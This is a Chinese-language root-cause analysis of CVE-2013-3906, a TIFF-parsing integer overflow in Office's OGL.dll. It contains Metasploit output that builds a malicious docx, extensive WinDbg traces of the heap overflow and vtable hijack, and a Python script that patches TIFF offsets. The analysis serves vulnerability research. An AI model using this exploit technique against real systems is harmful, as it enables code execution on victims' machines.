CVE-2013-3906漏洞分析

---- --------------- -------- -----------

CMD yes The command string to execute

EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)

Exploit target:

Id Name

-- ----

0 Windows XP SP3 with Office Standard 2010

msf exploit(mswin_tiff_overflow) > set CMD calc

CMD => calc

msf exploit(mswin_tiff_overflow) > set EXITFUNC thread

EXITFUNC => thread

msf exploit(mswin_tiff_overflow) > set FILENAME cve-2013-3906-msf.docx_

FILENAME => cve-2013-3906-msf.docx_

msf exploit(mswin_tiff_overflow) > exploit

[*] Initializing files...

[*] Packing directory: word

[*] Packing file: word/webSettings.xml

[*] Packing directory: word/media

[*] Packing directory: word/embeddings

[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet6.xlsx

[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet4.xlsx

[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet5.xlsx

[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet1.xlsx

[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet3.xlsx

[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet2.xlsx

[*] Packing directory: word/charts

[*] Packing file: word/charts/chart3.xml

[*] Packing file: word/charts/chart4.xml

[*] Packing directory: word/charts/_rels

[*] Packing file: word/charts/_rels/chart5.xml.rels

[*] Packing file: word/charts/_rels/chart2.xml.rels

[*] Packing file: word/charts/_rels/chart1.xml.rels

[*] Packing file: word/charts/_rels/chart4.xml.rels

[*] Packing file: word/charts/_rels/chart6.xml.rels

[*] Packing file: word/charts/_rels/chart3.xml.rels

[*] Packing file: word/charts/chart2.xml

[*] Packing file: word/charts/chart5.xml

[*] Packing file: word/charts/chart6.xml

[*] Packing file: word/charts/chart1.xml

[*] Packing directory: word/theme

[*] Packing file: word/theme/theme1.xml

[*] Packing file: word/settings.xml

[*] Packing file: word/styles.xml

[*] Packing file: word/fontTable.xml

[*] Packing directory: docProps

[*] Packing file: docProps/app.xml

[*] Packing file: docProps/core.xml

[*] Packing directory: _rels

[*] Packing ActiveX controls...

[*] Packing file: [Content_Types].xml

[*] Packing file: /word/media/image1.jpeg

[*] Packing file: /word/document.xml

[*] Packing file: _rels/.rels

[*] Packing file: /word/_rels/document.xml.rels

[+] cve-2013-3906-msf.docx_ stored at /root/.msf4/local/cve-2013-3906-msf.docx_

msf exploit(mswin_tiff_overflow) > exploit

首先用windbg掛上winword.exe,打開樣本,發生崩潰,崩潰現場如下:

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=08080808 ebx=001b08c0 ecx=0f5edcf8 edx=00000000 esi=0f5edcf8 edi=001b072c

eip=67bce176 esp=001b0630 ebp=001b0644 iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202

*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\OFFICE12\OGL.DLL -

OGL!GdipClonePath+0x2a:

67bce176 ff5004 call dword ptr [eax+4] ds:0023:0808080c=????????

0:000> k 100

ChildEBP RetAddr

WARNING: Stack unwind information not available. Following frames may be wrong.

001b0644 6a04288e OGL!GdipClonePath+0x2a

001b0704 6a0b18ed oart!Ordinal1954+0x30e

001b073c 6a0b18bb oart!Ordinal2469+0x4c9

001b0750 6a0b3e40 oart!Ordinal2469+0x497

001b0790 6a07e16f oart!Ordinal725+0x2c

001b07c0 6a0b4590 oart!Ordinal2472+0x131

001b07f0 6a0b3da4 oart!Ordinal6123+0x2cb

001b0804 6a7948b5 oart!Ordinal533+0xa4

001b0854 6a07e092 oart!Ordinal1031+0x724

001b0924 6a07d802 oart!Ordinal2472+0x54

001b0b78 6a07d2e6 oart!Ordinal2552+0x1b2

001b0bc8 6a07be02 oart!Ordinal5854+0xd3

001b0c04 6a07bd8a oart!Ordinal2803+0x23

001b0c10 6356cfc9 oart!Ordinal292+0x30c

001b0d48 63567985 wwlib!DllGetClassObject+0x10837f

...

這明顯是虛表被覆蓋了,在IDA中定位到相關代碼點如下:

CVE-2013-3906漏洞分析

崩潰點位於GdipClonePath函數,我們可以看到這是一處虛函數調用,正常情況下esi應該是一個對象地址,對紅框處的call語句下斷點:

sxe ld ogl

bp ogl+e176

發現這個函數會被命中很多次,我們在每次命中斷點時看一下eax的值,eax為虛表地址:

0:000> bp ogl+e176 ".printf "eax=0x%p\\n", eax; g;"

0:000> g

eax=0x676cab68

...

eax=0x676cab68

eax=0x08080808

Thu Apr 12 17:02:31.953 2018 (GMT+8): (bbc.968): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=08080808 ebx=00220640 ecx=0dd1dcf8 edx=00000000 esi=0dd1dcf8 edi=002204ac

eip=6768e176 esp=002203b0 ebp=002203c4 iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202

OGL!GdipClonePath+0x2a:

6768e176 ff5004 call dword ptr [eax+4] ds:0023:0808080c=????????

可以看到直到崩潰發生前的虛表地址都是一個固定值,我們看一下這個虛表內函數指針:

text:0004AB68 off_4AB68 dd offset sub_C95E ; DATA XREF: sub_39E9+Do

.text:0004AB68 ; sub_E6DC+12o ...

.text:0004AB6C dd offset sub_476B

.text:0004AB70 dd offset sub_15858B

.text:0004AB74 dd offset sub_162868

.text:0004AB78 dd offset sub_1627B1

.text:0004AB7C dd offset sub_12E4BE

.text:0004AB80 dd offset sub_3C837

.text:0004AB84 dd offset unknown_libname_2 ; Microsoft VisualC 2-11/net runtime

.text:0004AB88 dd offset sub_6163

.text:0004AB8C dd offset sub_7B44

.text:0004AB90 dd offset sub_72C93

.text:0004AB94 dd offset sub_206AD

.text:0004AB98 dd offset sub_203A1

.text:0004AB9C dd offset sub_ABE4

.text:0004ABA0 dd offset sub_1E480

.text:0004ABA4 dd offset sub_14BEFD

.text:0004ABA8 dd offset sub_14BE97

.text:0004ABAC dd offset sub_145EB1

.text:0004ABB0 dd offset sub_14645A

.text:0004ABB4 dd offset sub_1DF2D

.text:0004ABB8 dd offset sub_45AF

.text:0004ABBC dd offset sub_11A522

上文崩潰處調用的是虛表的第二個函數sub_476B,我們看一下這個函數:

CVE-2013-3906漏洞分析

這個函數的作用是比較當前對象的第一個成員變量是否等於“htP1”,這是在對該對象的tag進行校驗。

我們再來看一下對象地址(esi)每次的情況:

0:000> bp ogl+e176 ".printf "esi=0x%p\\n", esi; g;"

0:000> g

esi=0x0f5b23a8

esi=0x0f5b23a8

esi=0x0f5b23a8

esi=0x0f5b23a8

esi=0x0f5b8470

esi=0x0f5b86e0

esi=0x0f5b8950

...

esi=0x0f5baa88

esi=0x0c99b638

esi=0x0c99aee8

esi=0x0c99bca0

esi=0x0c99cdb0

esi=0x0c99dcf8

Fri Apr 13 11:06:03.278 2018 (GMT+8): (a2c.b78): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=08080808 ebx=002e0b10 ecx=0c99dcf8 edx=00000000 esi=0c99dcf8 edi=002e097c

eip=6741e176 esp=002e0880 ebp=002e0894 iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202

OGL!GdipClonePath+0x2a:

6741e176 ff5004 call dword ptr [eax+4] ds:0023:0808080c=????????

可以看到對象地址是在發生變化的,不同地址代表每次傳遞給GdipClonePath函數的同一對象的不同實例,我們來看一下最後一個對象的內存情況:

0:000> !address 0x0c99dcf8

ProcessParametrs 000a13a8 in range 000a0000 001a0000

Environment 000dc830 in range 000a0000 001a0000

0c990000 : 0c990000 - 00051000

Type 00020000 MEM_PRIVATE

Protect 00000004 PAGE_READWRITE

State 00001000 MEM_COMMIT

Usage RegionUsageHeap

Handle 0f5b0000

0:000> dd 0x0c99dcf8

0c99dcf8 08080808 08080808 08080808 08080808

0c99dd08 08080808 08080808 08080808 08080808

0c99dd18 08080808 08080808 08080808 08080808

0c99dd28 08080808 08080808 08080808 08080808

0c99dd38 08080808 08080808 08080808 08080808

0c99dd48 08080808 08080808 08080808 08080808

0c99dd58 08080808 08080808 08080808 08080808

0c99dd68 08080808 08080808 08080808 08080808

可以看到對象位於堆中,而且數據都被覆蓋為了0x08080808,很明顯堆被破壞了。開啟頁堆,看一下堆是在什麼時候被破壞的:

C:\Program Files\Debugging Tools for Windows (x86)>gflags.exe /p /enable winword.exe /full

...

Thu Apr 12 11:03:20.506 2018 (GMT+8): (f80.bd0): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=2a66dffc ebx=00000001 ecx=00000521 edx=00000000 esi=2a66cb78 edi=2a670000

eip=6d9d500a esp=001a0738 ebp=001a0740 iopl=0 nv up ei pl nz ac po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210212

MSVCR80!memcpy+0x5a:

6d9d500a f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

0:000> k 100

ChildEBP RetAddr

001a0740 69bb57e6 MSVCR80!memcpy+0x5a

WARNING: Stack unwind information not available. Following frames may be wrong.

001a075c 69b86470 OGL!GdipConvertToEmfPlusToStream+0x14b09

001a077c 69b9f761 OGL!GdipCreateTextureIAI+0x13af9

001a0798 69bdaa48 OGL!GdipMeasureCharacterRanges+0xb3f4

001a07ac 69b6ec13 OGL!GdipGetCellAscent+0x1cca7

001a07c8 69bd980c OGL!GdipEmfToWmfBits+0x140e6

001a07e4 69b07e44 OGL!GdipGetCellAscent+0x1ba6b

001a0864 69b07d2b OGL!GdipGetPointCount+0x1cc

001a0880 69b07b8a OGL!GdipGetPointCount+0xb3

001a0890 69b07aa8 OGL!GdipClosePathFigure+0x28a

001a08ac 69b0742a OGL!GdipClosePathFigure+0x1a8

001a08b8 69b0734e OGL!GdipAddPathLineI+0xc5a

001a08c8 69b03932 OGL!GdipAddPathLineI+0xb7e

001a08dc 6a096a21 OGL!GdipLoadImageFromStreamICM+0x4a

001a090c 6a0967bc oart!Ordinal2867+0x6bc

001a093c 6a095454 oart!Ordinal2867+0x457

001a0998 6a0952fe oart!Ordinal348+0x1e3

001a09dc 6a0952aa oart!Ordinal348+0x8d

001a0a10 6a0a0fea oart!Ordinal348+0x39

001a0a54 6a0a0c72 oart!Ordinal3368+0xd9

...

0:000> !heap -p -a edi

address 2a670000 found in

_DPH_HEAP_ROOT @ 24411000

in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)

2ab00068: 2a670000 0 - 2a66f000 2000

ReadMemory error for address 2a670000

6dce8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229

77805ede ntdll!RtlDebugAllocateHeap+0x00000030

777ca40a ntdll!RtlpAllocateHeap+0x000000c4

77795ae0 ntdll!RtlAllocateHeap+0x0000023a

69b0246c OGL!GdiplusStartup+0x000009c7

69bb57a8 OGL!GdipConvertToEmfPlusToStream+0x00014acb

69b86470 OGL!GdipCreateTextureIAI+0x00013af9

69b9f761 OGL!GdipMeasureCharacterRanges+0x0000b3f4

69bdaa48 OGL!GdipGetCellAscent+0x0001cca7

69b6ec13 OGL!GdipEmfToWmfBits+0x000140e6

69bd980c OGL!GdipGetCellAscent+0x0001ba6b

69b07e44 OGL!GdipGetPointCount+0x000001cc

69b07d2b OGL!GdipGetPointCount+0x000000b3

69b07b8a OGL!GdipClosePathFigure+0x0000028a

69b07aa8 OGL!GdipClosePathFigure+0x000001a8

69b0742a OGL!GdipAddPathLineI+0x00000c5a

69b0734e OGL!GdipAddPathLineI+0x00000b7e

69b03932 OGL!GdipLoadImageFromStreamICM+0x0000004a

6a096a21 oart!Ordinal2867+0x000006bc

6a0967bc oart!Ordinal2867+0x00000457

6a095454 oart!Ordinal348+0x000001e3

6a0952fe oart!Ordinal348+0x0000008d

6a0952aa oart!Ordinal348+0x00000039

6a0a0fea oart!Ordinal3368+0x000000d9

6a0a0c72 oart!Ordinal2671+0x000001e4

6a0a0425 oart!Ordinal759+0x00000116

6a84be79 oart!Ordinal3459+0x00000065

6a8c33ea oart!Ordinal2061+0x0000011e

6a097567 oart!Ordinal61+0x00000056

6a0adaaf oart!Ordinal1794+0x00000014

6a8cfa2c oart!Ordinal4418+0x000003d5

6a8cf076 oart!Ordinal6112+0x00000112

0:000> !heap -p -a esi

address 2a66cb78 found in

_DPH_HEAP_ROOT @ 24411000

in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)

2ab0009c: 2a66cb78 1484 - 2a66c000 3000

6dce8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229

77805ede ntdll!RtlDebugAllocateHeap+0x00000030

777ca40a ntdll!RtlpAllocateHeap+0x000000c4

77795ae0 ntdll!RtlAllocateHeap+0x0000023a

69b0246c OGL!GdiplusStartup+0x000009c7

69b8653b OGL!GdipCreateTextureIAI+0x00013bc4

69b9f761 OGL!GdipMeasureCharacterRanges+0x0000b3f4

69bdaa48 OGL!GdipGetCellAscent+0x0001cca7

69b6ec13 OGL!GdipEmfToWmfBits+0x000140e6

69bd980c OGL!GdipGetCellAscent+0x0001ba6b

69b07e44 OGL!GdipGetPointCount+0x000001cc

69b07d2b OGL!GdipGetPointCount+0x000000b3

69b07b8a OGL!GdipClosePathFigure+0x0000028a

69b07aa8 OGL!GdipClosePathFigure+0x000001a8

69b0742a OGL!GdipAddPathLineI+0x00000c5a

69b0734e OGL!GdipAddPathLineI+0x00000b7e

69b03932 OGL!GdipLoadImageFromStreamICM+0x0000004a

6a096a21 oart!Ordinal2867+0x000006bc

6a0967bc oart!Ordinal2867+0x00000457

6a095454 oart!Ordinal348+0x000001e3

6a0952fe oart!Ordinal348+0x0000008d

6a0952aa oart!Ordinal348+0x00000039

6a0a0fea oart!Ordinal3368+0x000000d9

6a0a0c72 oart!Ordinal2671+0x000001e4

6a0a0425 oart!Ordinal759+0x00000116

6a84be79 oart!Ordinal3459+0x00000065

6a8c33ea oart!Ordinal2061+0x0000011e

6a097567 oart!Ordinal61+0x00000056

6a0adaaf oart!Ordinal1794+0x00000014

6a8cfa2c oart!Ordinal4418+0x000003d5

6a8cf076 oart!Ordinal6112+0x00000112

6a0a8d11 oart!Ordinal5410+0x00000075

可以看到堆破壞時有一片大小為0x1484的數據被拷貝到一塊大小為0x0的堆空間處,從而發生了堆破壞,通過棧回溯可以看到拷貝發生在sub_B576D函數內:

CVE-2013-3906漏洞分析

我們在將拷貝發生處所在的函數( sub_B576D)命名為cve_2013_3906_func,在反彙編視圖下可以更清晰地看到這一過程:

CVE-2013-3906漏洞分析

可以看到拷貝的源地址和拷貝大小是作為參數傳入 cve_2013_3906_func 函數的,拷貝的目的地址為通過一個公式的計算結果而申請的一片堆空間,從上面的調試結果已經知道目的地址的空間大小為0,懷疑上圖紅框對應的公式在計算AllocLen時發生了整數溢出,我們在在調試器中驗證一下:

對cve_2013_3906_func函數首部下斷點:

bp ogl+b576d

可以看到在公式第一部分的循環累加中,循環大小(esi)為0x44,第1個累加值為0xffffb898

CVE-2013-3906漏洞分析

我們對第0x2-0x44次的累加值進行輸出:

0:000> bp 67c6578d ".printf "value=0x%p\\n", poi(edx); g;"

0:000> g

value=0x000000b2

value=0x000000b2

value=0x000000b3

value=0x000000b3

value=0x000000b2

value=0x000000b1

value=0x000000b1

value=0x000000b1

value=0x000000b2

value=0x000000b2

value=0x000000b2

value=0x000000b3

value=0x000000b2

value=0x000000b2

value=0x000000b2

value=0x000000db

value=0x000000b0

value=0x000000b2

value=0x000000b2

value=0x000000bd

value=0x000000e0

value=0x000000e4

value=0x000000e9

value=0x000000fc

value=0x00000102

value=0x000000fb

value=0x000000f0

value=0x000000ef

value=0x00000102

value=0x0000010a

value=0x000000ff

value=0x000000f7

value=0x000000f9

value=0x000000fa

value=0x000000d8

value=0x000000dc

value=0x000000dd

value=0x000000cb

value=0x000000c8

value=0x000000c5

value=0x000000bb

value=0x000000c0

value=0x000000c2

value=0x000000c5

value=0x000000c6

value=0x000000bf

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x00000080

Fri Apr 13 11:48:38.297 2018 (GMT+8): Breakpoint 1 hit

eax=ffffeaec ebx=00000004 ecx=00000044 edx=0d15ac40 esi=00000000 edi=0c8aea50

eip=67c65793 esp=00260378 ebp=0026037c iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246

OGL!GdipConvertToEmfPlusToStream+0x14ab6:

67c65793 8b750c mov esi,dword ptr [ebp+0Ch] ss:0023:00260388=00001484

可以看到此時的累加結果(eax)為0xffffeaec

CVE-2013-3906漏洞分析

執行完後面的三句後,累加結果分別如下:

0:000> p

eax=ffffeaec ebx=00000004 ecx=00000044 edx=0d15ac40 esi=00001484 edi=0c8aea50

eip=67c65796 esp=00260378 ebp=0026037c iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246

OGL!GdipConvertToEmfPlusToStream+0x14ab9:

67c65796 8d444808 lea eax,[eax+ecx*2+8]

0:000> p

eax=ffffeb7c ebx=00000004 ecx=00000044 edx=0d15ac40 esi=00001484 edi=0c8aea50

eip=67c6579a esp=00260378 ebp=0026037c iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246

OGL!GdipConvertToEmfPlusToStream+0x14abd:

67c6579a 03c6 add eax,esi

0:000> p

eax=00000000 ebx=00000004 ecx=00000044 edx=0d15ac40 esi=00001484 edi=0c8aea50

eip=67c6579c esp=00260378 ebp=0026037c iopl=0 nv up ei pl zr ac pe cy

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200257

OGL!GdipConvertToEmfPlusToStream+0x14abf:

67c6579c 50 push eax

隨後調用堆內存申請函數時傳入的參數如下:

0:000> p

eax=00000000 ebx=00000004 ecx=00000044 edx=0d15ac40 esi=00001484 edi=0c8aea50

eip=67bb2466 esp=00260360 ebp=0026036c iopl=0 nv up ei pl zr ac pe cy

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200257

OGL!GdiplusStartup+0x9c1:

67bb2466 ff153011bb67 call dword ptr [OGL+0x1130 (67bb1130)] ds:0023:67bb1130={ntdll!RtlAllocateHeap (77792dd6)}

0:000> dd esp l3

00260360 0c8a0000 00000000 00000000

NTSYSAPI PVOID RtlAllocateHeap(

PVOID HeapHandle, // 0c8a0000 ULONG Flags, // 00000000 SIZE_T Size // 00000000 申請大小為0);

申請完後返回的結果為0d12d9f8,如下:

0:000> p

eax=0d12d9f8 ebx=00000004 ecx=77792fe7 edx=0d120048 esi=00001484 edi=0c8aea50

eip=67bb246c esp=0026036c ebp=0026036c iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246

OGL!GdiplusStartup+0x9c7:

67bb246c 5d pop ebp

隨後調用memcpy

0:000> t

eax=00000001 ebx=00000001 ecx=67cc1b4f edx=0c8a0174 esi=0d12d9f8 edi=0c8aea50

eip=67bb2c9b esp=00260364 ebp=0026037c iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202

OGL!GdiplusStartup+0x11f6:

67bb2c9b ff251410bb67 jmp dword ptr [OGL+0x1014 (67bb1014)] ds:0023:67bb1014={MSVCR80!memcpy (6d9d4fb0)}

0:000> dd esp l4

00260364 67c657e6 0d12d9f8 0d15ad60 00001484

void *memcpy(

void *dest, // 0d12d9f8 const void *src, // 0d15ad60 size_t n // 00001484);

對目的地址的內存範圍進行查看,大致可以看到有三種對象,其中虛表為0x676cab68的對象有5個,我們需要確定後面虛表調用處用到的是哪一個:

0:000> dds 0d12d9f8 l1484/4

0d12d9f8 00000024

0d12d9fc 3f800000

0d12da00 13055c85

0d12da04 80000000

0d12da08 00000026

...

0d12dcf8 67bfab68 OGL!GdipSetStringFormatDigitSubstitution+0x129d

0d12dcfc 68745031*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Common Files\Microsoft Shared\office12\2052\MSOINTL.DLL

MSOINTL+0x665031

...

0d12df68 67bfab68 OGL!GdipSetStringFormatDigitSubstitution+0x129d

0d12df6c 68745031 MSOINTL+0x665031

...

0d12e928 67bfab68 OGL!GdipSetStringFormatDigitSubstitution+0x129d

0d12e92c 68745031 MSOINTL+0x665031

...

0d12eb98 67bfab68 OGL!GdipSetStringFormatDigitSubstitution+0x129d

0d12eb9c 68745031 MSOINTL+0x665031

...

0d12ee08 67bfab68 OGL!GdipSetStringFormatDigitSubstitution+0x129d

0d12ee0c 68745031 MSOINTL+0x665031

...

在我的調試環境中這幾個內存位置分別位於距目的地址起始處 0x300,0x570,0xF30,0x11a0,0x1410 處。在盲測的情況下,可以先對前4個地址下內存訪問斷點(因為硬件斷點最多隻能下4個),如果未命中,再重啟windbg對第5個地址下內存訪問斷點(如果已經定位到畸形數據位於tiff圖片中,也可以修改相應偏移處的覆蓋數據),一個修改的腳本如下所示:

計算在tiff文件中的偏移:

3544+300=0x3844

3544+570=0x3AB4

3544+F30=0x4474

3544+11a0=0x46e4

3544+1410=‭0x4954‬

Python腳本

tiff_origin_path = "image1.jpeg"

tiff_new_path = "image1.jpeg_new"

with open(tiff_origin_path, "rb") as f_read:

data = f_read.read()

new_data = data[:0x3844] + "\\x11\\x11\\x11\\x11" \

+ data[0x3848:0x3AB4] + "\\x22\\x22\\x22\\x22" \

+ data[0x3AB8:0x4474] + "\\x33\\x33\\x33\\x33" \

+ data[0x4478:0x46e4] + "\\x44\\x44\\x44\\x44" \

+ data[0x46e8:0x4954] + "\\x55\\x55\\x55\\x55" \

+ data[0x4958:]

with open(tiff_new_path, "wb") as w_read:

w_read.write(new_data)

然後對docx中的相應文件進行替換即可

從下面的測試日誌可以看到,在我的環境中被覆蓋的虛表是第1個,即AllocAddr偏移為0x300處的位置

0:000> g

Thu Apr 12 18:28:06.670 2018 (GMT+8): (dbc.a10): C++ EH exception - code e06d7363 (first chance)

Thu Apr 12 18:28:06.670 2018 (GMT+8): (dbc.a10): C++ EH exception - code e06d7363 (first chance)

Thu Apr 12 18:28:06.685 2018 (GMT+8): (dbc.a10): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=11111111 ebx=001d07f0 ecx=0ec3dcf8 edx=00000000 esi=0ec3dcf8 edi=001d065c

eip=6702e176 esp=001d0560 ebp=001d0574 iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202

*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\OFFICE12\OGL.DLL -

OGL!GdipClonePath+0x2a:

6702e176 ff5004 call dword ptr [eax+4] ds:0023:11111115=????????

同時,在開啟頁堆的情況下我們可以獲知該類對象的大小為0x130:

0:000> !heap -p -a esi

address 23a37ed0 found in

_DPH_HEAP_ROOT @ 239f1000

in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)

239f18b8: 23a37ed0 130 - 23a37000 2000

? OGL!GdipSetStringFormatDigitSubstitution+129d

6c308e89 verifier!AVrfDebugPageHeapAllocate+0x00000229

77805ede ntdll!RtlDebugAllocateHeap+0x00000030

777ca40a ntdll!RtlpAllocateHeap+0x000000c4

77795ae0 ntdll!RtlAllocateHeap+0x0000023a

6768246c OGL!GdiplusStartup+0x000009c7

6768384b OGL!GdipCreatePath+0x0000025c

6a040e84 oart!Ordinal1063+0x00000054

6a086e60 oart!Ordinal653+0x00000028

6a086b4f oart!Ordinal4484+0x00000306

6a086908 oart!Ordinal4484+0x000000bf

6a079f7c oart!Ordinal3230+0x0000022b

6a0783fe oart!Ordinal2668+0x0000021c

6a07821e oart!Ordinal2668+0x0000003c

6a0b4850 oart!Ordinal2660+0x00000080

6a7b67c0 oart!Ordinal5850+0x00000f9c

6a7b667c oart!Ordinal5850+0x00000e58

6a06757d oart!Ordinal3404+0x000002a5

6a0673eb oart!Ordinal3404+0x00000113

6a0672cb oart!Ordinal6309+0x0000000e

6356cfc9 wwlib!DllGetClassObject+0x0010837f

63567985 wwlib!DllGetClassObject+0x00102d3b

635296b9 wwlib!DllGetClassObject+0x000c4a6f

6352571b wwlib!DllGetClassObject+0x000c0ad1

635256b1 wwlib!DllGetClassObject+0x000c0a67

63525395 wwlib!DllGetClassObject+0x000c074b

634f64cb wwlib!DllGetClassObject+0x00091881

634f267c wwlib!DllGetClassObject+0x0008da32

634f0c32 wwlib!DllGetClassObject+0x0008bfe8

634be786 wwlib!DllGetClassObject+0x00059b3c

634bb168 wwlib!DllGetClassObject+0x0005651e

634c00cb wwlib!DllGetClassObject+0x0005b481

634bf54e wwlib!DllGetClassObject+0x0005a904

拷貝前

0:000> ? 0d12d9f8+0x300

Evaluate expression: 219340024 = 0d12dcf8

0:000> dc 0d12dcf8 l130/4

0d12dcf8 67bfab68 68745031 00000000 00000000 h..g1Pth........

0d12dd08 0d12dd1c 0d12dd1c 00000010 00000010 ................

0d12dd18 00000004 81010100 00000000 3f800000 ...............?

0d12dd28 00000000 0d12dd40 0d12dd40 00000010 ....@...@.......

0d12dd38 00000010 00000004 498b86c0 49ca5030 ...........I0P.I

0d12dd48 49902d60 49ca5030 49902d60 49d02078 `-.I0P.I`-.Ix .I

0d12dd58 498b86c0 49d02078 00000000 00000000 ...Ix .I........

0d12dd68 00000000 00000000 00000000 00000000 ................

0d12dd78 00000000 00000000 00000000 00000000 ................

0d12dd88 00000000 00000000 00000000 00000000 ................

0d12dd98 00000000 00000000 00000000 00000000 ................

0d12dda8 00000000 00000000 00000000 00000000 ................

0d12ddb8 00000000 00000000 00000000 00000000 ................

0d12ddc8 00000000 00000001 00000001 ffffffff ................

0d12ddd8 00000000 00000000 00000000 00000000 ................

0d12dde8 00000000 00000000 0d12de04 0d12de04 ................

0d12ddf8 00000003 00000003 00000000 00000000 ................

0d12de08 00000000 00000000 00000000 ffffffff ................

0d12de18 ff00ffff 00000000 00000000 00000000 ................

拷貝後

0:000> ? 0d12d9f8+0x300

Evaluate expression: 219340024 = 0d12dcf8

0:000> dc 0d12dcf8 l130/4

0d12dcf8 67bfab68 68745031 00000000 00000000 h..g1Pth........

0d12dd08 0d12dd1c 0d12dd1c 00000010 00000010 ................

0d12dd18 00000004 81010100 00000000 3f800000 ...............?

0d12dd28 00000000 0d12dd40 0d12dd40 00000010 ....@...@.......

0d12dd38 00000010 00000004 498b86c0 49ca5030 ...........I0P.I

0d12dd48 49902d60 49ca5030 49902d60 49d02078 `-.I0P.I`-.Ix .I

0d12dd58 498b86c0 49d02078 00000000 00000000 ...Ix .I........

0d12dd68 00000000 00000000 00000000 00000000 ................

0d12dd78 00000000 00000000 00000000 00000000 ................

0d12dd88 00000000 00000000 00000000 00000000 ................

0d12dd98 00000000 00000000 00000000 00000000 ................

0d12dda8 00000000 00000000 00000000 00000000 ................

0d12ddb8 00000000 00000000 00000000 00000000 ................

0d12ddc8 00000000 00000001 00000001 ffffffff ................

0d12ddd8 00000000 00000000 00000000 00000000 ................

0d12dde8 00000000 00000000 0d12de04 0d12de04 ................

0d12ddf8 00000003 00000003 00000000 00000000 ................

0d12de08 00000000 00000000 00000000 ffffffff ................

0d12de18 ff00ffff 00000000 00000000 00000000 ................

對 0d12dcf8(dst+0x300) 處的地址下內存訪問斷點,可以看到命中OGL!GdipClonePath 內本文最前面的崩潰處前一句,此時虛表指針(eax)已被覆蓋為 0x08080808,隨後eip會被劫持到0x0808080c 處。

0:000> ba r4 0d12dcf8

0:000> g

Fri Apr 13 12:25:55.379 2018 (GMT+8): (edc.d8c): C++ EH exception - code e06d7363 (first chance)

Fri Apr 13 12:25:55.379 2018 (GMT+8): (edc.d8c): C++ EH exception - code e06d7363 (first chance)

Fri Apr 13 12:25:55.395 2018 (GMT+8): Breakpoint 2 hit

eax=08080808 ebx=002608a0 ecx=00260620 edx=00000000 esi=0d12dcf8 edi=0026070c

eip=67bbe174 esp=00260610 ebp=00260624 iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202

OGL!GdipClonePath+0x28:

67bbe174 8bce mov ecx,esi

0:000> u 67bbe174

OGL!GdipClonePath+0x28:

67bbe174 8bce mov ecx,esi

67bbe176 ff5004 call dword ptr [eax+4]

67bbe179 85c0 test eax,eax

67bbe17b 0f84beb11000 je OGL!GdipPlayTSClientRecord+0x438 (67cc933f)

67bbe181 8d86dc000000 lea eax,[esi+0DCh]

67bbe187 50 push eax

67bbe188 8d4df4 lea ecx,[ebp-0Ch]

67bbe18b e87374ffff call OGL!GdipCreateBitmapFromResource+0x74b (67bb5603)

0:000> p

eax=08080808 ebx=002608a0 ecx=0d12dcf8 edx=00000000 esi=0d12dcf8 edi=0026070c

eip=67bbe176 esp=00260610 ebp=00260624 iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202

OGL!GdipClonePath+0x2a:

67bbe176 ff5004 call dword ptr [eax+4] ds:0023:0808080c=????????

漏洞根本原因

通過進一步分析,樣本為一個 Open XML docx 文檔,裡面嵌入了一張 tiff 格式的圖片,winword.exe 在打開文檔的時,會調用 ogl.dll 動態庫解析 tiff 圖片,導致了這個整數溢出漏洞。

